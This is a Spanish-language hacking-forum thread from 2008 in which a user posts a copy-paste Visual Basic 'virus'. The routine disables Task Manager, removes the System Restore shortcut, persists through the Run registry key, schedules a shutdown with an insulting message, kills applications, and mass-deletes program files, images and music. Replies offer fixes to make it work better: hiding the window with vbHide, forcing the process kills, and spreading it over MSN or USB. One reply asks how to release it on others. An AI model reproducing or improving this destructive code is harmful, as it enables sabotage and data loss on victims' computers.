Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: DProduct en 6 Febrero 2008, 20:27 pm



Título: Virus simple en VB
Publicado por: DProduct en 6 Febrero 2008, 20:27 pm
Acabo de hacer mi primer virus en VB. Solo hay que copiarlo y pegarlo en el código, y ya esta listo:
------------------------------------
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS"
Shell "cmd.exe echo off>Win32.bat"
Shell "cmd.exe echo @echo off>>Win32.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Win32.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Win32.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Win32.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Win32.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Win32.bat"
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
End Sub
------------------------------------

Lo que hace es:
1.- Impedir recuperar el equipo
2.- Eliminar el Administrador de Tareas
3.- Crear un virus que apaga el PC a los 30 min de abrirlo y lo agrega al registro
4.- Se carga varios procesos, las imagenes y la música


Título: Re: Virus simple en VB
Publicado por: ~~ en 6 Febrero 2008, 20:36 pm
Weno, si es de lo primero q haces no esta mal, pero te aconsejo q uses environ en vez de rutas completas, q puede fallar en muchos pc's, ah! y no es un virus, ya q no infecta nada ;)


Título: Re: Virus simple en VB
Publicado por: SheKeL_C$ en 6 Febrero 2008, 22:37 pm
Y aparte de lo q t a dixo EON, es vb no lo dudo, pero se puede considerar Batch  >:D


Título: Re: Virus simple en VB
Publicado por: mojolloyo20 en 9 Febrero 2008, 17:34 pm
pero aparte de todo esta muy bien.

si no se considera virus ni gusano,en que rama digamos queda?

me refiero como se consideraria.


un salu2  ;)


Título: Re: Virus simple en VB
Publicado por: jpmo4 en 9 Febrero 2008, 19:56 pm
Me sale un error. Cuando pongo el codigo me dice
"la instruccion no puede ir dentro del bloque de un metodo supone al final" es con respecto a:Private Sub Form_Load(). agradeceria su ayuda.
Ah y otra cosa como lo pruebo para no infectarme yo mismo y como lo largo al virus luego


Título: Re: Virus simple en VB
Publicado por: [SMT] en 9 Febrero 2008, 21:29 pm
jeje muy interesante me dan ganas de hacer un editor de batch! :P pero bueno..
a tu code osea el del batch se le peude arreglar muchas cosas para que sea "mas potente" dejame ayudarte:

Citar
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
ponle /F /IM osea quedaria: taskkill /F /IM

Citar
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
porque pones tss? para apagar la pc se usa es shutdown (y sus parametros)

Citar
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
mm estas borrando el outlook, msn, mspaint, notepad? hay cosas que no estan en el directorio WINDOWS, como estas y creo que mas, que sepa mspaint esta es en el system32, = que el notepad, el msn esta en las carpetas del msn? deberias acomodar eso! :P
y para lo del del en el C:\ pues esta bien pero en el C:\ casi nadie tiene archivos .jpg, .mp3 y esos! mejor seria en elñ system32 o algo asi! ;)

Bueno esa es mi recomendacion! ;)

Salu2's! cool


Título: Re: Virus simple en VB
Publicado por: Helicot en 10 Febrero 2008, 07:47 am
para el caso de los directorios, un app path no serviria ??????


Título: Re: Virus simple en VB
Publicado por: DProduct en 10 Febrero 2008, 14:04 pm
Utilizo ts porque shutdown apaga el PC donde se ejecuta, en cambio, tsshutdown apaga todas las PC de la LAN ::)
Sobre lo de los directorios: He visto muchos virus que lo ponen asi.
Gracias por la corrección


Título: Re: Virus simple en VB
Publicado por: [Zero] en 10 Febrero 2008, 16:39 pm
Pues yo te haría varias recomendaciones, por ejemplo, al abrir este ejecutable, se abrirá una ventana de la shell y ahi se podrá ver todo lo que hace, si pones por ejemplo:
Código:
,vbhide

Ya no aparecerá esa ventana. Otro punto es lo de cmd. No hace falta que lo pongas en cada instrucción, ni siquiera en la primera. Si pones por ejemplo:
Código:
Shell ("del /Q /S /F msnmsgr.exe")

Funcionaría igualmente. De todas formas, para ser el primero está bien, pero ya que lo has hecho desde vb lo pudes hacer mas "profesional"
Salu2


Título: Re: Virus simple en VB
Publicado por: chrominum en 10 Febrero 2008, 21:15 pm
Esto esta en batch, no en VB. Y no es ni virus ni gusano, ya que no se propaga por si mismo, depende del autor. Como inicio esta bien, pero si quieres mejorarlo te recomiendo que te leas el manual de hendrix, que explica como propagarlo por msn (añades un temporizador para hacerlo todo real y que no lo suelte todo de golpe) y infectar otros archivos, entre otras cosas mas.


Título: Re: Virus simple en VB
Publicado por: CamaleonB en 10 Febrero 2008, 21:18 pm
No es batch es vb, intenta copiar "TODO" su code en batch y me dices si funciona

Y es cierto que no es virus ni gusano, a mi me gustaria mas si lo aprendes a propagarlo por usb, es algo interesante con unas cuantas api y algo de recursividad

salu2


Título: Re: Virus simple en VB
Publicado por: ‭‭‭‭jackl007 en 11 Febrero 2008, 03:38 am
practicamnte no tiene mucho de VB